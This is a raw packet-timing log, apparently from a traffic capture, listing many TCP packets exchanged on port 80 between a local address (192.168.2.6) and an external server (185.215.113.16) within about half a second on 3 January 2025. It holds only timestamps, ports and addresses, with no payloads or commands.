Jan 3, 2025 15:21:25.387814999 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.387829065 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.387834072 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.387842894 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.387856960 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.387871027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.387873888 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.387885094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.387897015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.387901068 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.387912989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.387922049 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.387948990 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388092995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388108015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388122082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388137102 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388147116 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388151884 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388165951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388180971 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388180971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388195992 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388216972 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388226032 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388235092 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388247967 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388262987 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388276100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388289928 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388298988 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388303995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388329983 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388348103 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388369083 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388382912 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388396978 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388411045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388422012 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388425112 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388438940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388447046 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388454914 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388473988 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388540983 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388556957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388597965 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388597965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388613939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388631105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388645887 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388653040 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388660908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388669014 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388674974 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388689041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388695002 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388703108 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388715982 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388729095 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388730049 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388744116 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388758898 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388760090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388776064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388784885 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388799906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388816118 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388830900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388832092 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388847113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.388851881 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.388905048 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.397793055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.397835016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.397861958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.397881031 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.397905111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.397947073 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.397948980 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.397967100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398009062 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398010015 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.398032904 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398046970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398061991 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398071051 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.398077011 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398092031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398103952 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.398108006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398123980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398125887 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.398139000 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398154974 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398170948 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.398170948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398188114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398195028 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.398202896 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398217916 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398225069 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.398241997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398257017 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398292065 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.398305893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398324966 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.398339987 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398355007 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398370028 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398385048 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398400068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398413897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398416996 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.398416996 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.398432016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.398437977 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.398494005 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.401093960 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.401117086 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.401160002 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.615644932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.615751982 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.704032898 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.709178925 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.709201097 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.709211111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.709218979 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.709229946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.709243059 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.709252119 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.709260941 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.709276915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.709285021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.709295034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.709301949 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.709316015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.709323883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.709326982 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.709347010 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.709444046 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.726804972 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.731879950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.731937885 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.731961966 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.731975079 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.731986046 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.731988907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732002974 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732023001 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732026100 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732034922 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732047081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732058048 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732059002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732074022 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732089996 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732103109 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732111931 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732124090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732136965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732148886 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732156992 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732161999 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732175112 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732177973 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732192993 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732207060 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732238054 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732239962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732254982 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732266903 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732280016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732290030 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732294083 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732307911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732321024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732327938 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732331038 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732357025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732374907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732383966 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732383966 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732386112 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732395887 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732404947 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732414961 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732419968 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732424974 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732436895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732445955 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732448101 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732464075 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732481003 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732501984 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732511997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732517958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732521057 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732523918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732527971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732532978 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732538939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732538939 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732544899 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732548952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732554913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732559919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732566118 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732570887 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732584953 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732619047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732623100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732628107 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732633114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732640028 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732800007 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732816935 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732826948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732831955 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732836008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732841015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732846975 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732851982 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732867956 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732872963 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732877970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732882023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732887030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732888937 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.732892036 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732897997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.732954979 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.733035088 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733043909 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733050108 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733053923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733059883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733063936 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733073950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733078957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733083963 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733088017 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733093977 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733098984 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733103037 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733108044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733108997 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.733113050 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733119011 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733190060 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.733197927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733207941 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733213902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733217955 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733223915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733228922 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733233929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733295918 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.733326912 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733336926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733340979 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733346939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733361006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733366013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733371973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733376980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733382940 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.733478069 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.733484030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733494043 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733500004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733505011 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733509064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733515978 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733520031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733540058 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733546019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733547926 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.733551025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733556032 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733560085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733565092 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733571053 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733613014 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.733711004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733721972 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733726025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733731031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733735085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733792067 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.733863115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733872890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733877897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733882904 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733887911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733892918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733896971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733907938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733913898 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733918905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733923912 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733928919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733932972 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733935118 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.733987093 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.733990908 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.733998060 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734003067 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734009027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734014034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734025002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734029055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734034061 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734039068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734044075 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734049082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734051943 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.734055042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734126091 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.734205961 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734215021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734220982 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734225988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734230995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734236956 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734261990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734272003 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.734385967 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734396935 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:25.734396935 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734404087 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734409094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734414101 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734419107 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734424114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734433889 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734440088 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734445095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734462976 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:25.734463930 CET	49829	80	192.168.2.6	185.215.113.16
